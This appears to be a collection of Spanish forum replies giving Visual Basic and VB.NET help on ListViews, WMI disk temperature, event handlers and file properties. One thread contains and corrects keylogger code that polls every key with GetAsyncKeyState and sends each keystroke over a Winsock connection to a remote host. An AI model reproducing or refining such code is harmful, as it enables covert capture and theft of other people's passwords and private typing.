Mensajes

[Call Form_Load]

ovbio, pues tenes que tomar el ID de la columna seleccionada, pero en la columna donde esta el ID del registro...eso de hacer Call Form_Load no es nada bueno, mejor create una funcion que te carge todos los datos en el listview y llamas siempre que quieras actualizar a esa funcion. tambein al listview ponele la propiedad FullRowSelect = True asi te selecciona toda la fila y no el primer item.

saludos.

Hola, con WMI se puede por lo menos sacar la temperatura del disco Duro..

Código (vbnet) [Seleccionar] Expandir

Option Explicit On

Imports System
Imports System.Management
Imports System.Windows.Forms

Public Class Form1

    Private Sub Form1_Load( _
        ByVal sender As System.Object, _
        ByVal e As System.EventArgs) Handles MyBase.Load

        Button1.Text = "Averiguar la temperatura"

    End Sub

    Private Sub Button1_Click( _
        ByVal sender As System.Object, _
        ByVal e As System.EventArgs) Handles Button1.Click


        Me.Cursor = Cursors.WaitCursor
        Try

            Dim Buscar As New ManagementObjectSearcher( _
                "root\WMI", _
                "SELECT * FROM MSStorageDriver_ATAPISmartData")

            For Each queryObj As ManagementObject In Buscar.Get()
                Dim arrVendorSpecific As Byte() = queryObj("VendorSpecific")
                MsgBox("La Temperatura es: " & arrVendorSpecific(115).ToString & " Grados")
            Next

        Catch err As ManagementException
            MessageBox.Show("Error " & err.Message)
        End Try

        Me.Cursor = Cursors.Default

    End Sub
End Class

de las otras cosas, la verdad no he visto codigo, tambien debe ser porque dependen del fabricante de la placa madre o la pc, como lo hace el everest debe tener algo que identifica cada pc.

saludos.

Hola, proba cambiar la fuente a Arial unicode...

saludos.

Código (vb) [Seleccionar] Expandir

Option Explicit

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Dim PropBag As New PropertyBag
   
Private Sub Timer1_Timer()
   Dim i As Integer
   For i = 0 To 255
      If GetAsyncKeyState(i) = -32767 And Winsock1.State = sckConnected Then
         Winsock1.SendData Chr(i)
         Text1.Text = Text1.Text & Chr(i)
         Text1.SelStart = Len(Text1.Text)
      End If
   Next
End Sub

[And]

hola, pone el code en codigo tipo visual basic

aca un code que porai te srive

Código (vb) [Seleccionar] Expandir

Private Sub Form_Load()
Dim PropBag As New PropertyBag
Option Explicit
   Private Declare Function GetAsyncKeyState _
       Lib "user32" ( _
           ByVal vKey As Long) As Integer
  Private Sub Timer1_Timer()
      Dim i As Integer
      For i = 0 To 255
         
       If GetAsyncKeyState(i) = -32767 Then 'aca quiero confirmar que el winsock este conectado y despues envie los datos
       If Winsock1.State = 7 Then
       Winsock1.SendData Chr(i)
Text1.Text = Text1.Text & Chr(i)
Text1.SelStart = Len(Text1.Text)
            End If
      Next
  End Sub
End Sub

saludos

no sabia que las api's y el option explicit se ponian dentro del form_load   , y aparte podes hacer un And y te ahorras un If..

[Winsock1.State = sckConnected]

Hola, imaginate que hasta vos te diste cuenta que esta desprolijo...podes consultar si Winsock1.State = sckConnected, las variables abajo del Option Explicit y indenta el codigo fuente.

PD: Detectar la tecla presionada en cualquier ventana de Windows

saludos.

[CodeLive]

Gracias 43H4FH44H45H4CH49H56H45H (que nombre mas largo xD)

es CodeLive en HEX 

[NADA]

Amigo.. tambien te aclaro que hay mucho codigo al pedo ahí....

Mira.. te pasaré a explicar algo...

Código (vbnet) [Seleccionar] Expandir

Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
        'Codigo Para llamar al Formulario2'
        Form2.Show()
    End Sub
Ese codigo lo entiendes no?? está en el MAIN de tu programa.. en tu programa principal digamos...

Tu creaste un Metodo o Sub-Rutina (Sub) PRIVADO (Private) COn el nombre: Button2_click

Código (vbnet) [Seleccionar] Expandir

Private Sub Button2_Click
ok????
Luego dijiste (aunque sabemos que se generó todo automaticamente haciendole doble click al boton) que tenga 2 variables éste Metodo.. la SENDER y la E.. que la SENDER es un Objeto y la E es la que trae las propiedades de lo que ha sucedido (ahí dirá que fue un click de boton de mouse)

Código (vbnet) [Seleccionar] Expandir

(ByVal sender As System.Object, ByVal e As System.EventArgs)

(ya tenemos explicado:

Código (vbnet) [Seleccionar] Expandir

Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) )

Y luego... viene la palabra:

Código (vbnet) [Seleccionar] Expandir

Handles Button2.Click
la palabra HABDLES es como decir:
"Cuando suceda lo que dice aca al lado:"
y luego viene:
Button2.Click

O sea.. has dicho:
Cuando suceda lo que dice aca: CLICK EN BOTON 2

te has dado cuenta???

Entonces todo ésto:

Código (vbnet) [Seleccionar] Expandir

Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
Significa:
"Che computadora... CUANDO LE HAGAN UN CLICK AL 2º BOTON, ejecutame todo lo que dice dentro de éste metodo privado..."

Y el metodo adentro tiene:

Código (vbnet) [Seleccionar] Expandir

Form2.Show()
    End Sub
O sea.. EJECUTAS el Form2 y leugo se termina todo éste SUB....

Bien.... Ahora entiendes que son los METODOS DE ACCION..
Tu de esa amnera controlas ACCIONES que se producen en BOTONES o cosas que hallan en tu programita..

Ahora bien... Analicemos éstos metodos que hay tambien en tu codigo:

Código (vbnet) [Seleccionar] Expandir


    Private Sub Label13_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Label13.Click

    End Sub

    Private Sub AyudaToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles AyudaToolStripMenuItem.Click

    End Sub

Que es lo que estas diciendo ahí???
Facil...
en el 1º metodo dices:
Cuando le hagan un click a LABEL13, hacer: NADA
Porque? porque has visto que no dice nada?? abres el Sub.. todo bien.. pero lo cierras con el END SUB y no hay nada adentro...
y luego dices:
Ejecutar éste metodo cuando le hagan click a AYUDA TOLSTRIPMENUITEM... y hacer: NADA NUEVAMENTE..

Entonces.... SI NO HACEN NADA.. Para que lo pones?? Borra ese codigo, te ahorras unos nanosegundos de velocidad ( xD ) y te ahorras espacio y pesará menos el archivo...

Me entiendes?? SIno te explicaré con detalles..

hasta el mejor programador se olvida un EVENTO (Asi se llama) sin nada dentro de el, aparte tenes que saber que al compilar el .exe eso se excluye totalmente, podes hacer una prueba hasta en visual basic 6, te lo borra automatico si no tiene nada, en .NET no lo borra pero me imagino que eso no se compila. nanosegundos ? tenes el reloj atomico ?  , he realizado la prueba con 10 EVENTOS vacios y el tamaño final FINAL del .exe no vario en nada.con esto no quiero criticar simplemente aclarar algunas cosas que por ahi las pueden tomar como "ciertas".

saludos.

Código (vb) [Seleccionar] Expandir

ListView1.ListItems.Count

Hola, podes mirar las propiedad del archivo y listo, busca que de eso hay en internet y mas en .NET es re-facil...

saludos.